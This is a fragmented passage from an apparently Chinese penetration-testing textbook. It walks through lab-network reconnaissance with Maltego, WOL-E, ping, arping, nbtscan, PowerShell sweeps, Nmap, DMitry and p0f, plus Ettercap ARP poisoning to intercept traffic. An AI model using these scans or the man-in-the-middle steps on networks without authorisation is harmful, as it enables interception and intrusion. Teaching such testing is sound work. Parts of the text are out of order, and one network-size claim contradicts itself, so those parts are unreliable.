通过对私有IP地址范围的了解，用户可以对前面获取的路由地址进行判断，以确定每层网络是否为私有。如果是私有IP地址，则可以推测出其网络范围大小及可能包含的主机数。经过对获取的路由地址进行分析，可知第一层（192.168.1.1）和第二层（10.188.0.1）IP地址为私有IP。其中，IP地址192.168.1.1的网络范围为192.168.1.1～192.168.1.255，可能包含的主机数为254；IP地址10.188.0.1的网络范围为10.188.0.1～10.188.0.254，可能包含的主机数为2 24 。 3.使用网区实体 当用户确认一个网络范围后，可以使用Maltego来整理其目标主机。在Maltego中提供了一个网区实体Netblock，可以用来生成IP地址。在实体面板中选择网区实体Netblock并拖放到图表中，将显示如图2.2所示的界面。 图2.2 选择网区实体 从该界面中可以看到选择的网区实体，默认范围为74.207.243.0～74.207.243.255。用户可以根据自己确定的网络范围来修改该实体的网络范围，并生成所有的IP地址。例如，这里将指定上面推测的网络范围为192.168.1.1～192.168.1.255，如图2.3所示。 图2.3 指定实体的网络范围 此时，选择该实体并右击，将弹出一个Transform菜单，如图2.4所示。 图2.4 Transform列表 在该菜单中选择名为To IP address [Found in Netblock]的Transform，即可获取该实体范围内的所有主机IP地址，如图2.5所示。 图2.5 生成的IP地址 可以看到，成功生成了192.168.1.1～192.168.1.255范围内所有的IP地址。其中，该范围内的IP地址有192.168.1.1、192.168.1.2和192.168.1.3等。"},
    {"text": "未知 2.1.3 激活休眠主机 目前，大部分集成网卡都支持网络唤醒（WOL）功能。当主机开启WOL功能后，如果长期没有使用将会进入待机或休眠状态。这时，其他计算机可以借助WOL功能，通过网络唤醒该计算机。对于渗透测试者来说，激活休眠的主机，便于后期准确地判断主机状态和端口状态。下面将介绍使用WOL-E工具激活休眠主机的方法。 WOL-E工具不仅支持网络唤醒功能，而且还可以扫描识别启用WOL功能的计算机，并嗅探和记录唤醒密码。其中，该工具的语法格式如下： wol-e [options] WOL-E工具支持的命令选项及含义如下： ·-m：唤醒单个计算机。 ·-s：嗅探WOL请求的密码。默认是在屏幕上显示所有捕获到的WOL请求，并且将其写入/usr/share/wol-e/WOLClients.txt文件。 ·-a：暴力唤醒多台主机。 ·-f：探测网络中启用WOL功能的苹果设备。使用该选项后，将标准输出到屏幕，并将弹出的苹果设备MAC地址保存到/usr/share/wol-e/AppleTargets.txt文件中。 ·-fa：尝试唤醒在/usr/share/wol-e/AppleTargets.txt文件中的目标。 1.激活已知的MAC地址主机 如果渗透测试人员先期获取了目标主机的MAC地址，则可以采用单一唤醒的方式。 【实例2-2】 激活MAC地址为1C:6F:65:C8:4C:89的主机。执行命令如下： root@daxueba:~# wol-e -m 1C:6F:65:C8:4C:89 [*] No broadcast address or destination port detected, using the default of 255.255.255.255 and 9 respectively [*] WOL-E 1.0 [*] [*] Wake on LAN Explorer - Powers on computers in the network with WOL enabled. Mac is: 1C6F65C84C89 Broadcast is: 255.255.255.255 Dest Port is: 9 Password is: empty [*] Attempt to power on 1C:6F:65:C8:4C:89 completed 看到以上输出信息，表示成功唤醒了MAC地址为1C:6F:65:C8:4C:89的主机，即该主机将从休眠状态变为运行状态。 2.暴力唤醒主机 如果不知道目标主机的MAC地址，可以通过暴力方式进行唤醒。WOL-E工具实施暴力唤醒多台主机任务时，默认将读取/usr/share/wol-e/bfmac.lst文件列表，不可以手动指定目标，所以需要将尝试暴力唤醒的主机MAC地址提前写入该文件列表中。另外，在该文件列表中必须指定MAC地址的前4组字符。其中，前3组是厂商编号，即OUI；第4组字符需要自己手动添加。对于同一品牌的主机，其MAC地址的OUI都相同。所以用户可以添加一些品牌计算机的MAC地址，如联想、华硕、同方等。为了方便用户构建MAC地址列表，这里列举了常见品牌计算机MAC地址的OUI，如表2.2所示。 表2.2 常见品牌计算机MAC地址的OUI 【实例2-3】 暴力唤醒主机。步骤如下： （1）准备MAC地址列表文件。其中，默认的MAC地址列表如下： root@daxueba:/usr/share/wol-e# vi bfmac.lst 28:cf:da:11 c8:bc:c8:0c c8:2a:14:1f 这里默认添加了3个MAC地址。用户可以手动添加多个MAC地址，以实施暴力唤醒主机任务。添加地址如下： 00:0b:2f:7b f0:1f:af:4a 00:0b:2f:7d fc:aa:14:7d （2）暴力唤醒主机。执行命令如下： root@daxueba:~# wol-e -a [*] WOL-E 1.0 [*] [*] Wake on LAN Explorer - WOL Bruteforce MAC ranges. [*] No destination port detected, using 9 as the default [*] WOL Bruteforcing has started. [*] Now bruteforcing 28:cf:da:11:00:00 -> 28:cf:da:11:FF:FF 从输出的信息中可以看到，正在尝试暴力唤醒MAC地址为28:cf:da:11:00:00的主机。 未知 2.2 扫描网络 当用户将准备工作做好后，即可开始扫描网络。通过对网络中的主机进行扫描，可以发现活动主机。本节将介绍多种扫描网络的方法。"},
    {"text": "未知 2.2.1 使用ping命令 ping是Windows、UNIX和Linux系统下的一个命令。该命令主要利用ICMP协议检查网络的连通，进而确定目标主机是否在线。如果目标主机禁止响应ICMP请求包的话，使用该命令就无法确定目标主机是否在线。部分Windows防火墙（如Windows 7/8/10）禁止响应ICMP请求包，所以就无法判定目标主机的状态。如果用户关闭了Windows防火墙，将响应ICMP请求。下面介绍如何使用ping命令扫描网络。 使用ping命令扫描网络的语法格式如下： ping [target] -c [count] 以上语法中的选项及含义如下： ·-c [count]：指定发送的ICMP请求包数。在Linux系统中，默认情况下ping命令会一直发送请求。如果想要停止，则需要使用Ctrl+C组合键。在Windows系统中，默认是发送4个ICMP请求包。 【实例2-4】 探测目标主机192.168.1.8是否在线，并指定发送两个ICMP请求包。执行命令如下： root@daxueba:~# ping 192.168.1.8 -c 2 PING 192.168.1.8 (192.168.1.8) 56(84) bytes of data. 64 bytes from 192.168.1.8: icmp_seq=1 ttl=128 time=0.280 ms 64 bytes from 192.168.1.8: icmp_seq=2 ttl=128 time=0.355 ms --- 192.168.1.8 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 16ms rtt min/avg/max/mdev = 0.280/0.317/0.355/0.041 ms 从输出的信息中可以看到目标主机响应的数据包。由此可以说明，目标主机192.168.1.8是活动的。如果目标主机禁止响应ICMP请求的话，将看不到响应的ICMP包。例如： root@daxueba:~# ping 192.168.1.8 -c 2 PING 192.168.1.8 (192.168.1.8) 56(84) bytes of data. --- 192.168.1.8 ping statistics --- 2 packets transmitted, 0 received, 100% packet loss, time 27ms 从以上输出信息中可以看到，目标主机没有接收到任何ICMP响应包。 未知 2.2.2 使用ARPing命令 ARPing是一个ARP级别的ping工具，可以用来直接ping MAC地址，以探测目标主机是否在线。ARPing工具是利用ARP协议进行网络探测的，所以该工具只适用于同一个网段内的主机。下面将介绍如何使用ARPing命令扫描网络。 使用ARPing命令扫描网络的语法格式如下： arping [target] -c [count] 以上语法中的选项及含义如下： ·-c [count]：指定发送的ARP请求包数。 【实例2-5】 使用ARPing命令探测目标主机192.168.1.8是否在线。执行命令如下： root@daxueba:~# arping 192.168.1.8 -c 2 ARPING 192.168.1.8 60 bytes from 00:0c:29:7b:c9:0f (192.168.1.8): index=0 time=132.967 usec 60 bytes from 00:0c:29:7b:c9:0f (192.168.1.8): index=1 time=154.240 usec --- 192.168.1.8 statistics --- 2 packets transmitted, 2 packets received, 0% unanswered (0 extra) rtt min/avg/max/std-dev = 0.133/0.144/0.154/0.011 ms 从输出的信息中可以看到，目标主机返回了响应包。由此可以说明，目标主机192.168.1.8是活动的。从响应的包中还可以看到目标主机的MAC地址。其中，目标主机192.168.1.8的MAC地址为00:0c:29:7b:c9:0f。 未知 2.2.3 使用Nbtscan工具 Nbtscan是一个扫描Windows网络NetBIOS信息的小工具。该工具只能用于局域网，可以扫描出目标主机的IP、NetBIOS名、用户名和MAC地址等。下面将介绍使用Nbtscan工具扫描网络的方法。 Nbtscan工具扫描网络的语法格式如下： nbtscan -r [range] 以上语法中的选项及含义如下： ·-r [range]：指定扫描的网络范围。 【实例2-6】 使用Nbtscan工具扫描192.168.1.0/24网络中的活动主机。执行命令如下： root@daxueba:~# nbtscan -r 192.168.1.0/24 Doing NBT name scan for addresses from 192.168.1.0/24 IP address NetBIOS Name Server User MAC address ----------------------------------------------------------------------- 192.168.1.0 Sendto failed: Permission denied 192.168.1.6 <unknown> <unknown> 192.168.1.8 DAXUEBA-M2HBP5N <server> <unknown> 00:0c:29:7b:c9:0f 192.168.1.9 TEST-PC <server> <unknown> 00:0c:29:34:75:8b 192.168.1.1 SMBSHARE <server> SMBSHARE 00:00:00:00:00:00 192.168.1.255 Sendto failed: Permission denied 从输出的信息中可以看到，共包括5列，分别为IP address、NetBIOS Name、Server、User和MAC address。其中，IP address列显示的地址表示活动的主机。"},
    {"text": "未知 2.2.4 使用PowerShell工具 PowerShell是Windows系统的一种命令行Shell程序和脚本环境，通过命令行，用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell程序也可以利用ICMP协议来探测网络中的活动主机。下面介绍如何使用PowerShell工具扫描网络。 【实例2-7】 使用PowerShell工具扫描网络。具体操作步骤如下： （1）在Windows系统中，按Win+R组合键打开“运行”对话框，如图2.6所示。 （2）在“打开”文本框中输入powershell，并单击“确定”按钮，将进入PowerShell环境，如图2.7所示。 图2.6 “运行”对话框 图2.7 PowerShell环境 （3）从窗口中可以看到，命令行提示符显示为PS C:\\Users\\Administrator>，说明已成功进入PowerShell环境。此时即可利用该工具扫描网络。例如，这里将扫描192.168.1.0/24网段中所有的活动主机。执行命令如下： PS C:\\Users\\Administrator> 1..255|%{echo \"192.168.1.$_\";ping -n 1 -w 100 192.168.1.$_ | Select-String ttl} 192.168.1.1 来自 192.168.1.1 的回复: 字节=32 时间<1ms TTL=64 192.168.1.2 192.168.1.3 来自 192.168.1.3 的回复: 字节=32 时间=7ms TTL=64 192.168.1.4 192.168.1.5 192.168.1.6 来自 192.168.1.6 的回复: 字节=32 时间<1ms TTL=64 192.168.1.7 192.168.1.8 来自 192.168.1.8 的回复: 字节=32 时间<1ms TTL=128 192.168.1.9 来自 192.168.1.9 的回复: 字节=32 时间<1ms TTL=128 192.168.1.10 192.168.1.11 192.168.1.12 192.168.1.13 …//省略部分内容//… 192.168.1.250 192.168.1.251 192.168.1.252 192.168.1.253 192.168.1.254 192.168.1.255 从输出的信息中可以看到，依次尝试向192.168.1.0/24网段内的所有主机发送了ICMP请求。其中，收到目标主机响应的ICMP响应，则说明该主机是活动的。从输出的结果可以看到，响应的目标主机有192.168.1.1、192.168.1.3、192.168.1.6、192.168.1.8和192.168.1.9等。由此可以说明，这些主机是活动的。 未知 2.2.5 使用Nmap工具 Nmap是一个网络连接端扫描工具，用来扫描网络中开放的主机，以及开放主机中开放的端口及操作系统类型等。Nmap工具支持使用ping扫描方式或者TCP、UDP端口响应机制，来探测目标主机的活动状态。下面将介绍使用Nmap工具扫描网络的方法。 Nmap工具的语法格式如下： nmap [options] [target] 用于扫描网络的命令选项及含义如下： ·-sP：使用ping扫描。 ·-PU：使用UDP ping扫描。 ·-sS：实施TCP SYN（半开放）扫描。 ·-sT：实施TCP全连接扫描。 ·-sU：实施UDP扫描。 ·target：指定扫描的目标。其中，指定的目标可以是单个主机、多个主机或一个网段等。 【实例2-8】 使用Nmap扫描192.168.1.0/24网段内开放的主机。执行命令如下： root@daxueba:~# nmap -sP 192.168.1.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-31 18:40 CST Nmap scan report for 192.168.1.1 (192.168.1.1) #扫描主机192.168.1.1的报告 Host is up (0.00067s latency). #主机已开启 MAC Address: 70:85:40:53:E0:35 (Unknown) #MAC地址 Nmap scan report for tl-wr1041n (192.168.1.3) Host is up (0.0066s latency). MAC Address: 14:E6:E4:84:23:7B (Tp-link Technologies) Nmap scan report for kdkdahjd61y369j (192.168.1.4) Host is up (0.000085s latency). MAC Address: 1C:6F:65:C8:4C:89 (Giga-byte Technology) Nmap scan report for test-pc (192.168.1.7) Host is up (0.00020s latency). MAC Address: 00:0C:29:34:75:8B (VMware) Nmap scan report for daxueba-m2hbp5n (192.168.1.8) Host is up (0.00028s latency). MAC Address: 00:0C:29:7B:C9:0F (VMware) Nmap scan report for daxueba (192.168.1.6) Host is up. Nmap done: 256 IP addresses (6 hosts up) scanned in 1.92 seconds 从输出的信息中可以看到192.168.1.0/24网段内开放的所有主机及主机的MAC地址。其中，开放的主机地址有192.168.1.1、192.168.1.3、192.168.1.4、192.168.1.7、192.168.1.8和192.168.1.6。 【实例2-9】 使用TCP SYN扫描方式探测目标主机192.168.1.8的状态。执行命令如下： root@daxueba:~# nmap -sS 192.168.1.8 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-31 18:42 CST Nmap scan report for daxueba-m2hbp5n (192.168.1.8) Host is up (0.0012s latency). Not shown: 995 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 5000/tcp open upnp MAC Address: 00:0C:29:7B:C9:0F (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds 从输出的信息中可以看到，目标主机是活动的，并且显示了该主机中开放的TCP端口。例如，开放的端口有135、139和445等。"},
    {"text": "未知 2.2.6 整理有效的IP地址 用户通过扫描网络，即可确定网络范围内所有开放的主机IP地址。此时，用户即可在Maltego中整理有效的IP地址。对于不存在的IP地址，则可以删除。下面将根据前面的扫描结果，对IP地址进行整理。 【实例2-10】 整理有效的IP地址。具体操作步骤如下： （1）打开Maltego中使用网区实体生成的IP地址范围图表，如图2.8所示。 图2.8 IP地址范围图表 （2）根据前面对该范围内主机的扫描可以发现，192.168.1.2、192.168.1.5、192.168.1.9和192.168.1.10地址不存在，所以这里将这些不存在的IP地址删除。在该图表中选择不存在的IP地址实体（如192.168.1.2），并按Delete键，将弹出一个删除实体的对话框，如图2.9所示。 图2.9 删除实体提示对话框 （3）该对话框提示是否要删除选择的实体。这里单击Yes按钮，IP地址为192.168.1.2的实体将删除，效果如图2.10所示。 图2.10 成功删除IP地址实体 （4）可以看到，IP地址为192.168.1.2的实体已经成功删除。使用同样的方法，将不存在的IP地址依次删除。经过对有效IP地址整理后，效果如图2.11所示。 图2.11 整理后的IP地址 未知 2.3 扫描端口 如果用户确定目标主机活动的话，则可以扫描该主机中开放的端口。然后根据开放的端口即可判断出对应运行的程序。通过对这些运行的程序进行收集，获取其漏洞，就可对其实施渗透测试。本节将介绍扫描端口的方法。 未知 1.1.1 个人用户 个人用户是指平常使用的Windows个人版本。例如，Windows XP、Windows Vista、Windows 7、Windows 10都是个人版。这些操作系统通常会开启一些常见的服务，如文件共享服务、SMB服务、打印机共享服务、NetBIOS名称服务和MSRPC服务。如果这些服务存在漏洞，则可以被攻击者利用，以实现对目标主机实施渗透。 其中，文件共享服务和SMB主要用来在网络上共享自己的计算机文件，开放的端口为139和445；打印机共享服务用于共享打印机，开放的端口也是139和445；NetBIOS服务主要用于名称解析，开放的端口为137；MSRPC服务主要用于使用RPC（Remote Procedure Call）协议远程调用，允许程序在远程机器上运行任意程序，默认的端口为135。"},
    {"text": "未知 2.3.1 使用Nmap工具 Nmap工具不仅可以探测目标主机是否在线，还可以进行端口扫描。使用Nmap实施端口扫描，可以识别出6种端口状态，分别是open（开放的）、closed（关闭的）、filtered（被过滤的）、unfiltered（未被过滤的）、open|filtered（开放或者被过滤的）和closed|filtered（关闭或者被过滤的）。如果要使用Nmap工具实施端口扫描，则需要了解每个端口状态的含义。下面将分别介绍这6种端口状态的具体含义。 ·open（开放的）：端口处于开放状态。 ·closed（关闭的）：端口处于关闭状态。 ·filtered（被过滤的）：因为报文无法到达指定的端口，Nmap不能够判断端口的开放状态，所以显示为filtered。出现这种情况，主要是由于网络或者主机安装了一些防火墙所导致的。 ·unfiltered（未被过滤的）：当Nmap不能确定端口是否开放时，将显示为unfiltered。这种状态和filtered的区别是，unfiltered的端口能被Nmap访问，但是Nmap根据返回的报文无法确定端口的开放状态，而filtered的端口是不能够被Nmap访问的。 ·open|filtered（开放或者被过滤的）：这种情况主要是Nmap无法区分端口是处于open状态还是处于filtered状态。这种状态只会出现在开放端口对报文不做回应的扫描类型中，如UDP、IP、TCP NULL、TCP FIN和TCP XMAS扫描类型。 ·closed|filtered（关闭或者被过滤的）：这种情况主要是Nmap无法区分端口处于closed状态还是filtered状态。此情况只会出现在IP ID Idle Scan中。 使用Nmap扫描端口的语法格式如下： nmap [target] -p [port] Nmap工具默认将随机扫描1000个端口。为了避免遗漏某端口，用户可以使用-p-指定扫描所有端口，即1～65535。用户也可以使用-p指定扫描单个端口或端口范围。其中，端口范围之间使用连字符分隔。如果扫描不连续的端口，中间使用逗号分隔。 【实例2-11】 使用Nmap工具扫描主机192.168.1.7中开放的TCP端口。执行命令如下： root@daxueba:~# nmap 192.168.1.7 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-31 18:59 CST Nmap scan report for test-pc (192.168.1.7) Host is up (0.0013s latency). Not shown: 983 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 902/tcp open iss-realsecure 912/tcp open apex-mesh 1433/tcp open ms-sql-s 2383/tcp open ms-olap4 3389/tcp open ms-wbt-server 5357/tcp open wsdapi 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown MAC Address: 00:0C:29:34:75:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 1.51 seconds 在输出的信息中共包括3列，分别为PORT（端口）、STATE（状态）和SERVICE（服务名）。通过查看PORT和STATE列可以看到，目标主机中开放的端口有21、22、80、135等。从SERVICE列可以看到每个开放端口对应的服务程序。例如，TCP端口21对应的服务为ftp；TCP端口22对应的服务为ssh；TCP端口80对应的服务为http等。 【实例2-12】 扫描目标主机，判断是否开放了21、23和25端口。执行命令如下： root@daxueba:~# nmap 192.168.1.7 -p 21,23,25 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-31 19:06 CST Nmap scan report for test-pc (192.168.1.7) Host is up (0.00028s latency). PORT STATE SERVICE 21/tcp open ftp 23/tcp closed telnet 25/tcp closed smtp MAC Address: 00:0C:29:34:75:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds 从输出的信息中可以看到，端口21是开放的，23和25是关闭的。 【实例2-13】 扫描目标主机中20～100范围内开放的端口。执行命令如下： root@daxueba:~# nmap 192.168.1.7 -p 20-100 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-31 19:05 CST Nmap scan report for test-pc (192.168.1.7) Host is up (0.00025s latency). Not shown: 78 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:34:75:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds 从输出的信息中可以看到，目标主机20～100范围内开放的端口有21、22和80。 【实例2-14】 扫描目标主机中开放的UDP端口。执行命令如下： root@daxueba:~# nmap -sU 192.168.1.7 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-31 19:00 CST Nmap scan report for test-pc (192.168.1.7) Host is up (0.00037s latency). Not shown: 990 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 123/udp open|filtered ntp 137/udp open netbios-ns 138/udp open|filtered netbios-dgm 161/udp open|filtered snmp 500/udp open|filtered isakmp 1900/udp open|filtered upnp 3702/udp open|filtered ws-discovery 4500/udp open|filtered nat-t-ike 5355/udp open|filtered llmnr MAC Address: 00:0C:29:34:75:8B (VMware) Nmap done: 1 IP address (1 host up) scanned in 624.52 seconds 从输出的信息中可以看到目标主机开放的UDP端口，如68、123和137等。 【实例2-15】 扫描所有端口。执行命令如下： root@daxueba:~# nmap 192.168.1.7 -p-"},
    {"text": "未知 2.3.2 使用PowerShell工具 用户也可以将PowerShell作为一个TCP连接端口扫描器，来扫描目标主机中开放的端口。例如，扫描目标主机192.168.1.8中开放的端口。执行命令如下： PS C:\\Users\\Administrator> 1..1024 | % {echo ((New-Object Net.Sockets. TcpClient).Connect(\"192.168.1.8\",$_)) \"Open port - $_\"} 2>$null Open port - 135 Open port - 139 Open port - 445 从输出的信息中可以看到，目标主机中开放的端口有135、139和445。 使用以上方法仅获取开放的端口，无法确定对应的服务程序。对于一些网络服务，都有固定的端口。例如，FTP服务端口为21、Web服务端口为80等。为了方便用户判断开放端口所对应的服务程序，下面列举出了常见的TCP/IP端口，如表2.3所示。 表2.3 常见的TCP/IP端口 未知 2.3.3 使用DMitry工具 DMitry是一个一体化的信息收集工具。使用该工具可以实施端口扫描、获取主机信息和WHOIS信息等。其中，用于扫描端口的语法格式如下： dmitry -p [target] 以上语法中的选项及含义如下： ·-p：实施TCP端口扫描。 【实例2-16】 使用DMitry工具扫描TCP端口。执行命令如下： root@daxueba:~# dmitry -p 192.168.1.8 Deepmagic Information Gathering Tool \"There be some deep magic going on\" HostIP:192.168.1.8 HostName:daxueba-m2hbp5n Gathered TCP Port information for 192.168.1.8 --------------------------------- Port State 135/tcp open 139/tcp open Portscan Finished: Scanned 150 ports, 147 ports were in state closed All scans completed, exiting 从输出的信息中可以看到，通过DMitry工具探测到目标主机开放了两个端口，这两个端口分别是135和139。 未知 2.4 识别操作系统类型 通过识别操作系统，可以确定目标主机的系统类型。这样，渗透测试人员就可以有针对性地对目标系统的程序实施漏洞探测，以节省不必要的时间。本节将介绍识别操作系统的方法。 未知 2.4.1 使用Nmap识别 Nmap工具可以利用指纹库识别操作系统类型。其中，用于识别操作系统的语法格式如下： nmap -O/--osscan-guess [target] 以上语法中的选项及其含义如下： ·-O：识别操作系统类型。 ·--osscan-guess：猜测操作系统类型。当用户使用-O选项无法识别出操作系统类型时，可以使用--osscan-guess选项尽可能地提供最相近的匹配。 【实例2-17】 识别目标主机192.168.1.4的操作系统类型。执行命令如下： root@daxueba:~# nmap -O 192.168.1.4 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-31 11:45 CST Nmap scan report for kdkdahjd61y369j (192.168.1.4) Host is up (0.31s latency). Not shown: 991 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 514/tcp filtered shell 902/tcp open iss-realsecure 912/tcp open apex-mesh 5357/tcp open wsdapi 5432/tcp open postgresql Device type: general purpose #设备类型 Running: Microsoft Windows XP|7|2012 #运行的系统 OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/ o:microsoft:windows_server_2012 #操作系统CPE OS details: Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 OS detection performed. Please report any incorrect results at https:// nmap.org/submit/ . #操作系统详细信息 Nmap done: 1 IP address (1 host up) scanned in 17.40 seconds 从输出的信息中可以看到，目标主机运行的操作系统为Microsoft Windows XP|7|2012。"},
    {"text": "执行命令如下： root@daxueba:~# p0f -o p0flog --- p0f 3.09b by Michal Zalewski <lcamtuf@coredump.cx> --- [+] Closed 1 file descriptor. [+] Loaded 322 signatures from '/etc/p0f/p0f.fp'. [+] Intercepting traffic on default interface 'eth0'. [+] Default packet filtering configured [+VLAN]. [+] Entered main event loop. 看到以上输出信息，则表示已成功启动p0f工具。"},
    {"text": "图2.12 Ettercap主界面 （3）在菜单栏中依次选择Sniff|Unified sniffing命令，将弹出网络接口对话框，如图2.13所示。 图2.13 指定网络接口 （4）在该对话框中指定网络接口eth0，并单击“确定”按钮，将弹出如图2.14所示的窗口。"},
    {"text": "（5）在菜单栏中依次选择Hosts|Scan for hosts命令，将扫描整个网络中的所有主机。 扫描完成后，依次选择Hosts|Hosts list命令，即可看到扫描出的所有主机，如图2.15所示。 图2.14 启动Unified嗅探方式 图2.15 扫描出的主机列表 （6）从Host List列表中可以看到扫描出的所有主机。"},
    {"text": "此时，选择网关作为目标1，选择目标主机作为目标2。 选择网关地址192.168.1.1，单击Add to Target 1按钮，然后选择目标主机192.168.1.9，单击Add to Target 2按钮。"},
    {"text": "然后在菜单栏中依次选择Mitm|ARP poisonging命令，将弹出“ARP注入”对话框，如图2.17所示。 图2.17 “ARP注入”对话框 （8）在该对话框中勾选Sniff remote connections复选框，并单击“确定”按钮，即可成功对目标实施中间人攻击。"},
    {"text": "此时，返回到p0f工具的终端即可看到监听到的数据，具体如下： .-[ 192.168.1.4/28129 -> 42.236.104.152/80 (syn) ]- | | client = 192.168.1.4/28129 #客户端 | os = Windows NT kernel #操作系统 | dist = 0 | params = generic #程序 | raw_sig = 4:128+0:0:1460:mss*44,8:mss,nop,ws,nop,nop,sok:df,id+:0 #数据内容 | `---- .-[ 192.168.1.4/28129 -> 42.236.104.152/80 (mtu) ]- | | client = 192.168.1.4/28129 #客户端 | link = Ethernet or modem #连接 | raw_mtu = 1500 #最大传输单元 | `---- .-[ 192.168.1.4/28129 -> 42.236.104.152/80 (syn+ack) ]- | | server = 42.236.104.152/80 #服务器 | os = Linux 3.x #操作系统 | dist = 9 | params = none #程序 | raw_sig = 4:55+9:0:1460:mss*10,7:mss,nop,ws:df:0 #数据内容 | `---- .-[ 192.168.1.4/28129 -> 42.236.104.152/80 (mtu) ]- | | server = 42.236.104.152/80 | link = Ethernet or modem | raw_mtu = 1500 | `---- .-[ 192.168.1.9/53881 -> 202.108.14.117/80 (syn) ]- | | client = 192.168.1.9/53881 | os = Windows 7 or 8 | dist = 0 | params = none | raw_sig = 4:128+0:0:1460:8192,8:mss,nop,ws,nop,nop,sok:df,id+:0 | `---- .-[ 192.168.1.9/53881 -> 202.108.14.117/80 (mtu) ]- | | client = 192.168.1.9/53881 | link = Ethernet or modem | raw_mtu = 1500 | `---- 从输出的信息中可以看到识别出的主机操作系统类型。"},
    {"text": "内容如下： root@daxueba:~# cat p0flog [2019/08/01 17:21:08] mod=syn|cli=192.168.1.4/28129|srv=42.236.104.152/ 80|subj=cli|os=Windows NT kernel|dist=0|params=generic|raw_sig=4:128+0: 0:1460:mss*44,8:mss,nop,ws,nop,nop,sok:df,id+:0 [2019/08/01 17:21:08] mod=mtu|cli=192.168.1.4/28129|srv=42.236.104.152/ 80|subj=cli|link=Ethernet or modem|raw_mtu=1500 [2019/08/01 17:21:08] mod=syn+ack|cli=192.168.1.4/28129|srv=42.236.104. 152/80|subj=srv|os=Linux 3.x|dist=9|params=none|raw_sig=4:55+9:0:1460:mss* 10,7:mss,nop,ws:df:0 [2019/08/01 17:21:08] mod=mtu|cli=192.168.1.4/28129|srv=42.236.104.152/ 80|subj=srv|link=Ethernet or modem|raw_mtu=1500 [2019/08/01 17:21:18] mod=syn|cli=192.168.1.9/53881|srv=202.108.14.117/ 80|subj=cli|os=Windows 7 or 8|dist=0|params=none|raw_sig=4:128+0:0:1460: 8192,8:mss,nop,ws,nop,nop,sok:df,id+:0 [2019/08/01 17:21:18] mod=mtu|cli=192.168.1.9/53881|srv=202.108.14.117/ 80|subj=cli|link=Ethernet or modem|raw_mtu=1500 从该日志文件中也可以很清楚地看到每个主机的操作系统类型。"},
    {"text": "未知 2.4.3 使用MAC过滤 在前面使用ARPing和Nmap工具扫描网络时，可以探测到目标主机的MAC地址。此时则可以使用MAC地址来识别操作系统类型。用户根据MAC地址可以知道网卡的生产厂家，以过滤出那些不可能是Windows主机的系统，如手机和路由器等。下面将使用MAC排除不是Windows系统的主机。 在 https://mac.51240.com 网站可以在线查询MAC地址的生产厂商。在浏览器中访问该地址后，将显示如图2.18所示的窗口。 图2.18 MAC地址查询页面 在“MAC地址”文本框中输入要查询的MAC地址，然后单击“查询”按钮，即可获取对应的MAC地址的生产厂商信息。其中，指定的MAC地址格式为00-01-6C-06-A6-29或00:01:6C:06:A6:29。例如，查询MAC地址14:E6:E4:84:23:7B（IP地址为192.168.1.3）的生产厂商，效果如图2.19所示。 图2.19 查询结果 从图2.19中可以看到，获取的MAC地址信息包括组织名称、国家/地区、省份（州）、城市、街道和邮编。从组织名称中可以看到，该MAC地址为TP-LINK TECHNOLOGIES CO.,LTD.。由此可以推测出，该主机是一个TP-LINK设备，不是一个Windows系统的主机。 未知 2.4.4 添加标记 当用户确定目标主机的操作系统类型后，则可以在Maltego中为确认的主机添加标记。这样，当用户在后续渗透测试时，就可以有针对性地对目标实施渗透。下面将介绍为目标主机添加标记的方法。 【实例2-19】 为目标主机添加标记。具体操作步骤如下： （1）打开Maltego中整理出的有效IP地址图表，如图2.20所示。 图2.20 有效的IP地址图表 （2）经过对MAC地址生产厂商的查询可知，主机192.168.1.3不是一个Windows主机，是一个TP-LINK设备。这里将以该主机为例，添加标记。将光标悬浮在IP地址192.168.1.3实体上，将看到该实体上面显示的3个图标 、 和 ，如图2.21所示。 （3）双击实体中的 图标，将弹出一个添加标记的文本框，如图2.22所示。 图2.21 选择实体 图2.22 添加标记 （4）从该界面中可以看到，默认的标记内容为Click here to add notes。此时，双击该文本框，即可修改标记内容。例如，这里添加标记为TP-LINK，效果如图2.23所示。 图2.23 成功添加标记 （5）从图2.23中可以看到，成功为IP实体192.168.1.3添加了标记。 未知 2.5 无线网络扫描 常用的无线网络就是Wi-Fi网络。由于联网方便，很多中小型网络都使用无线网络。但是无线网络普遍存在AP隔离，所以无法直接扫描。这时可以利用无线网络广播发送信号的方式实施扫描。本节将介绍扫描无线网络的方法。"},
